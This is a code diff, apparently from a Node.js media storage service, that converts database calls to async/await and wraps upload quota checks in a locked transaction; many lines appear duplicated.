+ const rows = await db.all(`SELECT object_id, SUM(unique_viewers)::bigint AS viewers, MAX(day) AS last_day, MAX(last_viewed_at) AS last_at, COUNT(*) AS days
FROM media_object_views_daily WHERE day >= ?${list ? ` AND object_id IN (${list.map(() => '?').join(',')})` : ''}
FROM media_object_views_daily WHERE day >= ?${list ? ` AND object_id IN (${list.map(() => '?').join(',')})` : ''}
GROUP BY object_id`, [since, ...(list || [])]);
GROUP BY object_id`, [since, ...(list || [])]);
return new Map(rows.map((r) => [r.object_id, { unique_viewers: r.viewers, last_viewed_day: r.last_day, last_viewed_at: r.last_at, days_viewed: r.days }]));
return new Map(rows.map((r) => [r.object_id, { unique_viewers: r.viewers, last_viewed_day: r.last_day, last_viewed_at: r.last_at, days_viewed: r.days }]));
}
}
/** The last day anyone viewed the object (in the kept counts), or null. */
/** The last day anyone viewed the object (in the kept counts), or null. */
-function lastViewedDay(objectId) {
- const r = db.get('SELECT MAX(day) AS d FROM media_object_views_daily WHERE object_id = ? AND unique_viewers > 0', [objectId]);
+async function lastViewedDay(objectId) {
+ const r = await db.get('SELECT MAX(day) AS d FROM media_object_views_daily WHERE object_id = ? AND unique_viewers > 0', [objectId]);
return (r && r.d) || null;
return (r && r.d) || null;
}
}
@@ -41,9 +41,9 @@ function isVerifiedCopy(obj, l) {
@@ -41,9 +41,9 @@ function isVerifiedCopy(obj, l) {
}
}
/** Readiness of one object row (null → nothing known). `locations` may be passed when already loaded. */
/** Readiness of one object row (null → nothing known). `locations` may be passed when already loaded. */
-function compute(obj, locations = null) {
+async function compute(obj, locations = null) {
if (!obj) return { metadata: false, bytes_verified: false, playable: false, hash_verified: false, verified_copies: [], reason: 'no_object' };
if (!obj) return { metadata: false, bytes_verified: false, playable: false, hash_verified: false, verified_copies: [], reason: 'no_object' };
- const locs = locations || db.all('SELECT provider, state, checksum, verified_at FROM media_locations WHERE object_id = ? ORDER BY id', [obj.id]);
+ const locs = locations || await db.all('SELECT provider, state, checksum, verified_at FROM media_locations WHERE object_id = ? ORDER BY id', [obj.id]);
const md = metadataOf(obj);
const md = metadataOf(obj);
const verified = locs.filter(l => isVerifiedCopy(obj, l));
const verified = locs.filter(l => isVerifiedCopy(obj, l));
const bytesVerified = verified.length > 0;
const bytesVerified = verified.length > 0;
@@ -66,9 +66,9 @@ function compute(obj, locations = null) {
@@ -66,9 +66,9 @@ function compute(obj, locations = null) {
}
}
/** Readiness of an inherited vods/clips row, through its object (object_id). */
/** Readiness of an inherited vods/clips row, through its object (object_id). */
-function forRow(row) {
- if (!row || !row.object_id) return compute(null);
- return compute(db.get('SELECT * FROM media_objects WHERE id = ?', [row.object_id]));
+async function forRow(row) {
+ if (!row || !row.object_id) return await compute(null);
+ return await compute(await db.get('SELECT * FROM media_objects WHERE id = ?', [row.object_id]));
}
}
/** SQL condition: the object named by the SQL expression `ref` is playable (the rule of compute()). */
/** SQL condition: the object named by the SQL expression `ref` is playable (the rule of compute()). */
@@ -35,7 +35,7 @@ const ISSUES = ['no_canonical_location', 'canonical_missing_replica_present', 'n
@@ -35,7 +35,7 @@ const ISSUES = ['no_canonical_location', 'canonical_missing_replica_present', 'n
async function defaultHead(provider, key) {
async function defaultHead(provider, key) {
const vs = require('../vod/vod-storage');
const vs = require('../vod/vod-storage');
if (!vs.providerConfigured(provider)) return undefined;
if (!vs.providerConfigured(provider)) return undefined;
- return vs.headObject(provider, key);
+ return await vs.headObject(provider, key);
}
}
function sha256File(p) {
function sha256File(p) {
@@ -65,19 +65,19 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
@@ -65,19 +65,19 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
};
};
const issue = (k, item) => { const i = report.issues[k]; i.count++; if (i.items.length < listLimit) i.items.push(item); };
const issue = (k, item) => { const i = report.issues[k]; i.count++; if (i.items.length < listLimit) i.items.push(item); };
- const objects = db.all(`SELECT * FROM media_objects${appId ? ' WHERE app_id = ?' : ''}`, appId ? [appId] : []);
+ const objects = await db.all(`SELECT * FROM media_objects${appId ? ' WHERE app_id = ?' : ''}`, appId ? [appId] : []);
const byId = new Map(objects.map(o => [o.id, o]));
const byId = new Map(objects.map(o => [o.id, o]));
const locations = appId
const locations = appId
- ? db.all('SELECT l.* FROM media_locations l LEFT JOIN media_objects o ON o.id = l.object_id WHERE o.app_id = ? OR o.id IS NULL', [appId])
- : db.all('SELECT * FROM media_locations');
+ ? await db.all('SELECT l.* FROM media_locations l LEFT JOIN media_objects o ON o.id = l.object_id WHERE o.app_id = ? OR o.id IS NULL', [appId])
+ : await db.all('SELECT * FROM media_locations');
report.counts.objects = objects.length;
report.counts.objects = objects.length;
report.counts.locations = locations.length;
report.counts.locations = locations.length;
const effective = new Map(); // location id → state after this run's checks
const effective = new Map(); // location id → state after this run's checks
const byObject = new Map();
const byObject = new Map();
- const write = (loc, state, size) => {
+ const write = async (loc, state, size) => {
if (!verify) return;
if (!verify) return;
- model.setLocationState(loc.id, { state, size_bytes: size });
+ await model.setLocationState(loc.id, { state, size_bytes: size });
report.counts.locations_updated++;
report.counts.locations_updated++;
};
};
@@ -98,7 +98,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
@@ -98,7 +98,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
if (!st) {
if (!st) {
effective.set(loc.id, 'missing');
effective.set(loc.id, 'missing');
if (live) issue('missing_local_file', { object_id: obj.id, kind: obj.kind, legacy_ref: obj.legacy_ref, path: loc.key });
if (live) issue('missing_local_file', { object_id: obj.id, kind: obj.kind, legacy_ref: obj.legacy_ref, path: loc.key });
- write(loc, 'missing', null);
+ await write(loc, 'missing', null);
continue;
continue;
}
}
let state = 'present';
let state = 'present';
@@ -113,7 +113,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
@@ -113,7 +113,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
}
}
}
}
effective.set(loc.id, state);
effective.set(loc.id, state);
- write(loc, state, st.size);
+ await write(loc, state, st.size);
continue;
continue;
}
}
@@ -130,7 +130,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
@@ -130,7 +130,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
if (!h) {
if (!h) {
effective.set(loc.id, 'missing');
effective.set(loc.id, 'missing');
if (live) issue('remote_missing', { object_id: obj.id, provider: loc.provider, key: loc.key, legacy_ref: obj.legacy_ref });
if (live) issue('remote_missing', { object_id: obj.id, provider: loc.provider, key: loc.key, legacy_ref: obj.legacy_ref });
- write(loc, 'missing', null);
+ await write(loc, 'missing', null);
continue;
continue;
}
}
let state = 'present';
let state = 'present';
@@ -139,7 +139,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
@@ -139,7 +139,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
issue('size_mismatch', { object_id: obj.id, provider: loc.provider, expected, actual: Number(h.size), legacy_ref: obj.legacy_ref });
issue('size_mismatch', { object_id: obj.id, provider: loc.provider, expected, actual: Number(h.size), legacy_ref: obj.legacy_ref });
}
}
effective.set(loc.id, state);
effective.set(loc.id, state);
- write(loc, state, Number(h.size));
+ await write(loc, state, Number(h.size));
}
}
// Per object: is the canonical copy there, and is any copy there at all?
// Per object: is the canonical copy there, and is any copy there at all?
@@ -159,11 +159,11 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
@@ -159,11 +159,11 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
// Deleted objects that the inherited routes still serve.
// Deleted objects that the inherited routes still serve.
for (const p of PROJECTIONS) {
for (const p of PROJECTIONS) {
- const rows = db.all(`SELECT t.* FROM ${p.table} t JOIN media_objects o ON o.id = t.object_id WHERE o.lifecycle_status = 'deleted'${appId ? ' AND o.app_id = ?' : ''}`, appId ? [appId] : []);
+ const rows = await db.all(`SELECT t.* FROM ${p.table} t JOIN media_objects o ON o.id = t.object_id WHERE o.lifecycle_status = 'deleted'${appId ? ' AND o.app_id = ?' : ''}`, appId ? [appId] : []);
for (const r of rows) if (p.open(r)) issue('deleted_publicly_reachable', { object_id: r.object_id, table: p.table, id: r.id ?? r.key, reason: 'the inherited row still serves it' });
for (const r of rows) if (p.open(r)) issue('deleted_publicly_reachable', { object_id: r.object_id, table: p.table, id: r.id ?? r.key, reason: 'the inherited row still serves it' });
}
}
// …and derivatives (thumbnails) of deleted objects that are still served by name.
// …and derivatives (thumbnails) of deleted objects that are still served by name.
- const orphanThumbs = db.all(`SELECT d.* FROM media_variants v JOIN media_objects p ON p.id = v.object_id JOIN media_objects d ON d.id = v.derived_object_id
+ const orphanThumbs = await db.all(`SELECT d.* FROM media_variants v JOIN media_objects p ON p.id = v.object_id JOIN media_objects d ON d.id = v.derived_object_id
WHERE p.lifecycle_status = 'deleted' AND d.lifecycle_status != 'deleted' AND d.visibility != 'private'${appId ? ' AND p.app_id = ?' : ''}`, appId ? [appId] : []);
WHERE p.lifecycle_status = 'deleted' AND d.lifecycle_status != 'deleted' AND d.visibility != 'private'${appId ? ' AND p.app_id = ?' : ''}`, appId ? [appId] : []);
for (const d of orphanThumbs) {
for (const d of orphanThumbs) {
const loc = (byObject.get(d.id) || []).find(l => effective.get(l.id) === 'present');
const loc = (byObject.get(d.id) || []).find(l => effective.get(l.id) === 'present');
@@ -178,12 +178,12 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
@@ -178,12 +178,12 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has
['pastes', 'id', "object_id IS NULL AND type = 'screenshot' AND screenshot_path IS NOT NULL"],
['pastes', 'id', "object_id IS NULL AND type = 'screenshot' AND screenshot_path IS NOT NULL"],
];
];
for (const [table, keyCol, cond] of gaps) {
for (const [table, keyCol, cond] of gaps) {
- for (const r of db.all(`SELECT ${keyCol} AS k FROM ${table} WHERE ${cond}${appId ? ' AND app_id = ?' : ''}`, appId ? [appId] : [])) {
+ for (const r of await db.all(`SELECT ${keyCol} AS k FROM ${table} WHERE ${cond}${appId ? ' AND app_id = ?' : ''}`, appId ? [appId] : [])) {
issue('missing_projection', { table, id: r.k });
issue('missing_projection', { table, id: r.k });
}
}
}
}
- for (const u of db.all(`SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received FROM media_uploads u
+ for (const u of await db.all(`SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received FROM media_uploads u
WHERE u.status IN ('active', 'completing') AND u.expires_at < datetime('now')${appId ? ' AND u.app_id = ?' : ''}`, appId ? [appId] : [])) {
WHERE u.status IN ('active', 'completing') AND u.expires_at < datetime('now')${appId ? ' AND u.app_id = ?' : ''}`, appId ? [appId] : [])) {
issue('incomplete_multipart', { upload_id: u.id, object_id: u.object_id, parts_received: u.parts_received, parts_expected: u.parts_expected, expires_at: u.expires_at });
issue('incomplete_multipart', { upload_id: u.id, object_id: u.object_id, parts_received: u.parts_received, parts_expected: u.parts_expected, expires_at: u.expires_at });
}
}
@@ -92,18 +92,18 @@ function canWrite(req, obj) {
@@ -92,18 +92,18 @@ function canWrite(req, obj) {
}
}
/** The object named in the URL, in this tenant and visible to the caller, if the caller may `verb` in its namespace (else answered). */
/** The object named in the URL, in this tenant and visible to the caller, if the caller may `verb` in its namespace (else answered). */
-function load(req, res, verb = 'read') {
- const obj = model.resolveObject(String(req.params.id || ''), req.appId);
+async function load(req, res, verb = 'read') {
+ const obj = await model.resolveObject(String(req.params.id || ''), req.appId);
if (!obj || !canSee(req, obj)) { problem(res, 404, 'media.object.not_found', 'No such object in this namespace'); return null; }
if (!obj || !canSee(req, obj)) { problem(res, 404, 'media.object.not_found', 'No such object in this namespace'); return null; }
- const g = namespaceGrant(req, verb, obj.namespace);
+ const g = await namespaceGrant(req, verb, obj.namespace);
if (!g.allowed) { problem(res, 403, g.code, g.reason); return null; }
if (!g.allowed) { problem(res, 403, g.code, g.reason); return null; }
return obj;
return obj;
}
}
/** The token-bearing request's object and tenant; the URL must address that tenant. */
/** The token-bearing request's object and tenant; the URL must address that tenant. */
-function tokenTenant(req, res, obj) {
+async function tokenTenant(req, res, obj) {
// A developer-project tenant is addressed by its project id, whichever of its production/sandbox rows holds the object.
// A developer-project tenant is addressed by its project id, whichever of its production/sandbox rows holds the object.
- const app = obj ? db.getApp(obj.app_id) : null;
+ const app = obj ? await db.getApp(obj.app_id) : null;
if (!app || tenantPath(app) !== String(req.params.app || '')) { res.status(404).json({ error: 'Unknown app' }); return false; }
if (!app || tenantPath(app) !== String(req.params.app || '')) { res.status(404).json({ error: 'Unknown app' }); return false; }
req.appId = app.app_id;
req.appId = app.app_id;
req.appPath = tenantPath(app);
req.appPath = tenantPath(app);
@@ -113,30 +113,30 @@ function tokenTenant(req, res, obj) {
@@ -113,30 +113,30 @@ function tokenTenant(req, res, obj) {
}
}
/** Upload token (a presigned URL from init or /upload-url) or the usual tenant credential with media.object.upload. */
/** Upload token (a presigned URL from init or /upload-url) or the usual tenant credential with media.object.upload. */
-function contentAuth(req, res, next) {
+async function contentAuth(req, res, next) {
const token = req.query.token || req.headers['x-upload-token'];
const token = req.query.token || req.headers['x-upload-token'];
if (!token) return upload(req, res, next);
if (!token) return upload(req, res, next);
const id = String(req.params.id || '');
const id = String(req.params.id || '');
- const obj = model.getObject(id);
+ const obj = await model.getObject(id);
// Scoped to tenant + object + size: a token for another object, tenant or size never verifies.
// Scoped to tenant + object + size: a token for another object, tenant or size never verifies.
const size = obj && Number(obj.size_bytes) > 0 ? Number(obj.size_bytes) : 0;
const size = obj && Number(obj.size_bytes) > 0 ? Number(obj.size_bytes) : 0;
if (!obj || !signing.verifyUploadToken(id, token, { tenant: obj.app_id, size })) return problem(res, 401, 'media.upload_token.invalid', 'Upload token is invalid or expired');
if (!obj || !signing.verifyUploadToken(id, token, { tenant: obj.app_id, size })) return problem(res, 401, 'media.upload_token.invalid', 'Upload token is invalid or expired');
- if (tokenTenant(req, res, obj)) next();
+ if (await tokenTenant(req, res, obj)) next();
}
}
/** Multipart session token (from POST /:id/multipart) or the usual tenant credential with `verb`. */
/** Multipart session token (from POST /:id/multipart) or the usual tenant credential with `verb`. */
function multipartAuth(verb) {
function multipartAuth(verb) {
const fallback = tenantAuth({ verb, namespaced: true });
const fallback = tenantAuth({ verb, namespaced: true });
- return (req, res, next) => {
+ return async (req, res, next) => {
const token = req.query.token || req.headers['x-upload-token'];
const token = req.query.token || req.headers['x-upload-token'];
if (!token) return fallback(req, res, next);
if (!token) return fallback(req, res, next);
- const obj = model.getObject(String(req.params.id || ''));
- const session = multipart.getSession(String(req.params.uploadId || ''));
+ const obj = await model.getObject(String(req.params.id || ''));
+ const session = await multipart.getSession(String(req.params.uploadId || ''));
const ok = obj && session && session.object_id === obj.id && signing.verifyMultipartToken(token, {
const ok = obj && session && session.object_id === obj.id && signing.verifyMultipartToken(token, {
tenant: obj.app_id, objectId: obj.id, uploadId: session.id, totalSize: session.total_size,
tenant: obj.app_id, objectId: obj.id, uploadId: session.id, totalSize: session.total_size,
});
});
if (!ok) return problem(res, 401, 'media.upload_token.invalid', 'Upload token is invalid or expired');
if (!ok) return problem(res, 401, 'media.upload_token.invalid', 'Upload token is invalid or expired');
- if (tokenTenant(req, res, obj)) next();
+ if (await tokenTenant(req, res, obj)) next();
};
};
}
}
@@ -159,12 +159,12 @@ function presignedPut(req, obj, ttlS) {
@@ -159,12 +159,12 @@ function presignedPut(req, obj, ttlS) {
}
}
/** Public shape of a multipart session plus what a client needs to send it (URLs carry the session token). */
/** Public shape of a multipart session plus what a client needs to send it (URLs carry the session token). */
-function multipartPublic(req, obj, session, { parts = true } = {}) {
+async function multipartPublic(req, obj, session, { parts = true } = {}) {
const tok = signing.multipartToken({ tenant: obj.app_id, objectId: obj.id, uploadId: session.id, totalSize: session.total_size, expiresAt: Date.parse(String(session.expires_at).replace(' ', 'T') + 'Z') });
const tok = signing.multipartToken({ tenant: obj.app_id, objectId: obj.id, uploadId: session.id, totalSize: session.total_size, expiresAt: Date.parse(String(session.expires_at).replace(' ', 'T') + 'Z') });
const u = `${apiBase(req)}/${obj.id}/multipart/${session.id}`;
const u = `${apiBase(req)}/${obj.id}/multipart/${session.id}`;
const q = `token=${encodeURIComponent(tok.token)}`;
const q = `token=${encodeURIComponent(tok.token)}`;
return {
return {
- ...multipart.sessionPublic(session, { parts }),
+ ...await multipart.sessionPublic(session, { parts }),
token: tok.token,
token: tok.token,
part_url_template: `${u}/parts/{part_number}?${q}`,
part_url_template: `${u}/parts/{part_number}?${q}`,
status_url: `${u}?${q}`,
status_url: `${u}?${q}`,
@@ -182,19 +182,28 @@ function sanitizeFilename(name) {
@@ -182,19 +182,28 @@ function sanitizeFilename(name) {
* Room for `bytes` (and `objects` new objects) in `namespace`: every quota from there up to the
* Room for `bytes` (and `objects` new objects) in `namespace`: every quota from there up to the
* tenant, and the policy's max_object_bytes (objects/namespaces.checkQuota). Answers 413 when not.
* tenant, and the policy's max_object_bytes (objects/namespaces.checkQuota). Answers 413 when not.
*/
*/
-function quotaCheck(req, res, namespace, { bytes = 0, objects = 0, excludeId = null } = {}) {
- const q = namespaces.checkQuota(req.appRow, namespace, { bytes, objects, excludeId });
- if (!q) return true;
- problem(res, q.status, q.code, q.detail, q.extra);
- return false;
+async function quotaCheck(req, res, namespace, opts) {
+ return await withQuota(req, res, namespace, opts) !== undefined;
+}
+
+/**
+ * The quota check and the write it admits in one transaction, under the tenant's quota lock (namespaces.checkQuota):
+ * a racing upload or restore of the same tenant checks after this one commits. `opts` may be an async function, read
+ * inside the transaction. Answers 413 and returns undefined when there is no room; else what `write` returned.
+ */
+async function withQuota(req, res, namespace, opts, write = async () => true) {
+ const out = await db.getDb().tx(async () => {
+ const q = await namespaces.checkQuota(req.appRow, namespace, typeof opts === 'function' ? await opts() : opts);
+ return q ? { q } : { value: await write() };
+ });
+ if (out.q) { problem(res, out.q.status, out.q.code, out.q.detail, out.q.extra); return undefined; }
+ return out.value;
}
}
/** An upload step that has no reservation (it was released at abort) takes one again, checked like init. */
/** An upload step that has no reservation (it was released at abort) takes one again, checked like init. */
-function reserveAgain(req, res, obj, bytes) {
- const held = namespaces.reservation(obj.id);
- if (!quotaCheck(req, res, obj.namespace, { bytes, objects: held ? 0 : 1, excludeId: obj.id })) return false;
- namespaces.reserve(obj, bytes);
- return true;
+async function reserveAgain(req, res, obj, bytes) {
+ return await withQuota(req, res, obj.namespace, async () => ({ bytes, objects: await namespaces.reservation(obj.id) ? 0 : 1, excludeId: obj.id }),
+ async () => { await namespaces.reserve(obj, bytes); return true; }) === true;
}
}
// ── Content upload (mounted ahead of the JSON body parser — see index.js) ──
// ── Content upload (mounted ahead of the JSON body parser — see index.js) ──
@@ -223,7 +232,7 @@ function receive(req, tmp, cap) {
@@ -223,7 +232,7 @@ function receive(req, tmp, cap) {
}
}
async function putContent(req, res) {
async function putContent(req, res) {
- const obj = load(req, res, 'write');
+ const obj = await load(req, res, 'write');
if (!obj) { req.resume(); return; }
if (!obj) { req.resume(); return; }
if (!canWrite(req, obj)) { req.resume(); return problem(res, 403, 'media.object.forbidden', 'Not your object'); }
if (!canWrite(req, obj)) { req.resume(); return problem(res, 403, 'media.object.forbidden', 'Not your object'); }
if (obj.legacy_ref) { req.resume(); return problem(res, 409, 'media.object.legacy_managed', 'This object is written through the v1 API'); }
if (obj.legacy_ref) { req.resume(); return problem(res, 409, 'media.object.legacy_managed', 'This object is written through the v1 API'); }
@@ -235,7 +244,7 @@ async function putContent(req, res) {
@@ -235,7 +244,7 @@ async function putContent(req, res) {
res.set('Connection', 'close'); req.resume();
res.set('Connection', 'close'); req.resume();
return problem(res, 413, 'media.object.too_large', `Objects over ${single} bytes are uploaded in parts: POST /${obj.id}/multipart`);
return problem(res, 413, 'media.object.too_large', `Objects over ${single} bytes are uploaded in parts: POST /${obj.id}/multipart`);
}
}
- if (multipart.activeFor(obj.id)) { req.resume(); return problem(res, 409, 'media.upload.multipart_active', 'A multipart upload is open for this object: complete or abort it first'); }
+ if (await multipart.activeFor(obj.id)) { req.resume(); return problem(res, 409, 'media.upload.multipart_active', 'A multipart upload is open for this object: complete or abort it first'); }
const cap = declared || single;
const cap = declared || single;
const len = Number(req.headers['content-length']);
const len = Number(req.headers['content-length']);
if (Number.isFinite(len) && len > cap) {
if (Number.isFinite(len) && len > cap) {
@@ -251,7 +260,7 @@ async function putContent(req, res) {
@@ -251,7 +260,7 @@ async function putContent(req, res) {
const tmpDir = path.join(config.objects.path, '.tmp');
const tmpDir = path.join(config.objects.path, '.tmp');
fs.mkdirSync(tmpDir, { recursive: true });
fs.mkdirSync(tmpDir, { recursive: true });
const tmp = path.join(tmpDir, `${obj.id}-${crypto.randomBytes(4).toString('hex')}`);
const tmp = path.join(tmpDir, `${obj.id}-${crypto.randomBytes(4).toString('hex')}`);
- namespaces.touch(obj.id); // the upload is active: its reservation does not expire under it
+ await namespaces.touch(obj.id); // the upload is active: its reservation does not expire under it
const got = await receive(req, tmp, cap);
const got = await receive(req, tmp, cap);
const drop = () => { try { fs.unlinkSync(tmp); } catch { /* not written */ } };
const drop = () => { try { fs.unlinkSync(tmp); } catch { /* not written */ } };
if (got.error) {
if (got.error) {
@@ -262,24 +271,23 @@ async function putContent(req, res) {
@@ -262,24 +271,23 @@ async function putContent(req, res) {
if (declared && got.bytes !== declared) { drop(); return problem(res, 400, 'media.object.size_mismatch', `Declared ${declared} bytes, received ${got.bytes}`); }
if (declared && got.bytes !== declared) { drop(); return problem(res, 400, 'media.object.size_mismatch', `Declared ${declared} bytes, received ${got.bytes}`); }
if (!got.bytes) { drop(); return problem(res, 400, 'media.object.empty', 'No bytes received'); }
if (!got.bytes) { drop(); return problem(res, 400, 'media.object.empty', 'No bytes received'); }
// The object may have been completed, deleted or expired while the bytes streamed in.
// The object may have been completed, deleted or expired while the bytes streamed in.
- const current = model.getObject(obj.id);
+ const current = await model.getObject(obj.id);
if (!current || current.lifecycle_status !== 'uploading') { drop(); return problem(res, 409, 'media.object.not_uploading', `Object is ${current ? current.lifecycle_status : 'gone'}`); }
if (!current || current.lifecycle_status !== 'uploading') { drop(); return problem(res, 409, 'media.object.not_uploading', `Object is ${current ? current.lifecycle_status : 'gone'}`); }
// The real size replaces the declared one in this upload's reservation.
// The real size replaces the declared one in this upload's reservation.
- const held = namespaces.reservation(obj.id);
- if (!quotaCheck(req, res, obj.namespace, { bytes: got.bytes, objects: held ? 0 : 1, excludeId: obj.id })) { drop(); return; }
-
try {
try {
const dest = model.objectFilePath(obj);
const dest = model.objectFilePath(obj);
- fs.mkdirSync(path.dirname(dest), { recursive: true });
- fs.renameSync(tmp, dest);
- db.getDb().transaction(() => {
- model.updateObject(obj.id, {
+ const stored = await withQuota(req, res, obj.namespace, async () => ({ bytes: got.bytes, objects: await namespaces.reservation(obj.id) ? 0 : 1, excludeId: obj.id }), async () => {
+ fs.mkdirSync(path.dirname(dest), { recursive: true });
+ fs.renameSync(tmp, dest);
+ await model.updateObject(obj.id, {
size_bytes: got.bytes, content_hash: got.sha256, mime_type: effectiveType,
size_bytes: got.bytes, content_hash: got.sha256, mime_type: effectiveType,
canonical_provider: 'local', canonical_key: dest,
canonical_provider: 'local', canonical_key: dest,
});
});
- model.upsertLocation(obj.id, { provider: 'local', key: dest, state: 'present', size_bytes: got.bytes, checksum: got.sha256, verified: true });
- namespaces.reserve(current, got.bytes);
- })();
+ await model.upsertLocation(obj.id, { provider: 'local', key: dest, state: 'present', size_bytes: got.bytes, checksum: got.sha256, verified: true });
+ await namespaces.reserve(current, got.bytes);
+ return true;
+ });
+ if (!stored) { drop(); return; }
res.json({ id: obj.id, size_bytes: got.bytes, content_hash: got.sha256 });
res.json({ id: obj.id, size_bytes: got.bytes, content_hash: got.sha256 });
} catch (err) {
} catch (err) {
drop();
drop();
@@ -293,7 +301,7 @@ async function putContent(req, res) {
@@ -293,7 +301,7 @@ async function putContent(req, res) {
const router = express.Router({ mergeParams: true });
const router = express.Router({ mergeParams: true });
router.use(tenantCors);
router.use(tenantCors);
-router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {
+router.post('/', upload, limits('media.object.upload', UPLOAD), async (req, res) => {
try {
try {
const b = req.body || {};
const b = req.body || {};
const kind = String(b.kind || 'file');
const kind = String(b.kind || 'file');
@@ -304,9 +312,9 @@ router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {
@@ -304,9 +312,9 @@ router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {
const named = namespaces.resolveName(req.appRow, b.namespace);
const named = namespaces.resolveName(req.appRow, b.namespace);
if (named.error) return problem(res, 400, 'media.namespace.invalid', named.error);
if (named.error) return problem(res, 400, 'media.namespace.invalid', named.error);
const namespace = named.namespace;
const namespace = named.namespace;
- const g = namespaceGrant(req, 'write', namespace);
+ const g = await namespaceGrant(req, 'write', namespace);
if (!g.allowed) return problem(res, 403, g.code, g.reason);
if (!g.allowed) return problem(res, 403, g.code, g.reason);
- const policy = namespaces.effectivePolicy(req.appId, namespace);
+ const policy = await namespaces.effectivePolicy(req.appId, namespace);
if (Array.isArray(policy.kinds) && !policy.kinds.includes(kind)) return problem(res, 422, 'media.namespace.policy_denied', `${namespace} takes kinds ${policy.kinds.join(', ') || '(none)'}`);
if (Array.isArray(policy.kinds) && !policy.kinds.includes(kind)) return problem(res, 422, 'media.namespace.policy_denied', `${namespace} takes kinds ${policy.kinds.join(', ') || '(none)'}`);
if (Array.isArray(policy.visibilities) && !policy.visibilities.includes(visibility)) return problem(res, 422, 'media.namespace.policy_denied', `${namespace} takes visibilities ${policy.visibilities.join(', ') || '(none)'}`);
if (Array.isArray(policy.visibilities) && !policy.visibilities.includes(visibility)) return problem(res, 422, 'media.namespace.policy_denied', `${namespace} takes visibilities ${policy.visibilities.join(', ') || '(none)'}`);
let size = 0;
let size = 0;
@@ -344,39 +352,39 @@ router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {
@@ -344,39 +352,39 @@ router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {
// The namespace row, the quota check, the object and its reservation commit together, so two
// The namespace row, the quota check, the object and its reservation commit together, so two
// inits racing for the last of a quota cannot both get it.
// inits racing for the last of a quota cannot both get it.
- const made = db.getDb().transaction(() => {
- const row = namespaces.ensure(req.appRow, namespace);
+ const made = await db.getDb().tx(async () => {
+ const row = await namespaces.ensure(req.appRow, namespace);
if (row.error) return { problem: { status: row.status, code: row.code, detail: row.error } };
if (row.error) return { problem: { status: row.status, code: row.code, detail: row.error } };
- const q = namespaces.checkQuota(req.appRow, namespace, { bytes: size, objects: 1 });
+ const q = await namespaces.checkQuota(req.appRow, namespace, { bytes: size, objects: 1 });
if (q) return { problem: q };
if (q) return { problem: q };
- const newId = model.createObject({
+ const newId = await model.createObject({
app_id: req.appId, namespace, kind, owner_subject: subject, owner_app: req.appId, owner_user_id: userId,
app_id: req.appId, namespace, kind, owner_subject: subject, owner_app: req.appId, owner_user_id: userId,
visibility, lifecycle_status: 'uploading', mime_type: mime, size_bytes: size, metadata,
visibility, lifecycle_status: 'uploading', mime_type: mime, size_bytes: size, metadata,
});
});
- namespaces.reserve(model.getObject(newId), size);
+ await namespaces.reserve(await model.getObject(newId), size);
return { id: newId };
return { id: newId };
- })();
+ });
if (made.problem) return problem(res, made.problem.status, made.problem.code, made.problem.detail, made.problem.extra);
if (made.problem) return problem(res, made.problem.status, made.problem.code, made.problem.detail, made.problem.extra);
const id = made.id;
const id = made.id;
- const obj = model.getObject(id);
+ const obj = await model.getObject(id);
let session = null;
let session = null;
if (wantParts) {
if (wantParts) {
- session = multipart.initiate(obj, { partSize: b.part_size });
+ session = await multipart.initiate(obj, { partSize: b.part_size });
if (session.error) {
if (session.error) {
- namespaces.settle(id);
- db.run('DELETE FROM media_objects WHERE id = ?', [id]); // nothing was stored for it
+ await namespaces.settle(id);
+ await db.run('DELETE FROM media_objects WHERE id = ?', [id]); // nothing was stored for it
return problem(res, session.status, session.code, session.error);
return problem(res, session.status, session.code, session.error);
}
}
}
}
const single = !wantParts ? presignedPut(req, obj, b.upload_ttl) : null;
const single = !wantParts ? presignedPut(req, obj, b.upload_ttl) : null;
res.status(201).json({
res.status(201).json({
id,
id,
- object: model.objectPublic(obj),
+ object: await model.objectPublic(obj),
upload: {
upload: {
...(single || { method: 'multipart', url: null, token: null, expires_at: null, max_bytes: size, content_type: mime }),
...(single || { method: 'multipart', url: null, token: null, expires_at: null, max_bytes: size, content_type: mime }),
complete_url: `${apiBase(req)}/${id}/complete`,
complete_url: `${apiBase(req)}/${id}/complete`,
multipart_url: `${apiBase(req)}/${id}/multipart`,
multipart_url: `${apiBase(req)}/${id}/multipart`,
- ...(session ? { multipart: multipartPublic(req, obj, session, { parts: false }) } : {}),
+ ...(session ? { multipart: await multipartPublic(req, obj, session, { parts: false }) } : {}),
},
},
});
});
} catch (err) {
} catch (err) {
@@ -390,8 +398,8 @@ router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {
@@ -390,8 +398,8 @@ router.post('/', upload, limits('media.object.upload', UPLOAD), (req, res) => {
* invariant, the quota, and whether the bytes are what their type says; then the ready transition,
* invariant, the quota, and whether the bytes are what their type says; then the ready transition,
* its invariant row and the media.object.uploaded event commit together (the webhook follows).
* its invariant row and the media.object.uploaded event commit together (the webhook follows).
*/
*/
-function completeUpload(req, res, obj, { expectedHash = null } = {}) {
- const loc = model.listLocations(obj.id).find(l => l.provider === 'local' && l.state === 'present');
+async function completeUpload(req, res, obj, { expectedHash = null } = {}) {
+ const loc = (await model.listLocations(obj.id)).find(l => l.provider === 'local' && l.state === 'present');
